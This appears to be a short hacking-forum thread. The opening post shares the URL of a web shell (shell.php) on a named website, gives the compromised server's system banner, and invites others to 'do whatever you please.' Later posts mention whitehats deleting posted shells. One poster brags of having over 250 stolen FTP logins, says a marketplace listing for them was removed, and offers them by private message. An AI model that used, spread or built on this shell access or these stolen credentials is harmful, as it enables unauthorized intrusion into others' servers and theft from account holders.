Code <http://www.rxhhs.com/shell.php>

Linux p3slh058.shr.phx3.secureserver.net 2.6.18-238.19.1.el5PAE #1 SMP Fri Jul 15 08:15:44 EDT 2011 i686

Do whatever you please.

whitehats troll this section for people like you who publicly post shells so they can go in and delete them.

Is that a good thing or bad thing?

I had access to over 250+ FTP logins and I offered it on the marketplace, and it got removed for no reason at all.

Irritating.

PM me if you want the link. I can renew it like that.

I don't why white-hats get so butthurt. If your so smart prevent my status to re-up it every second.
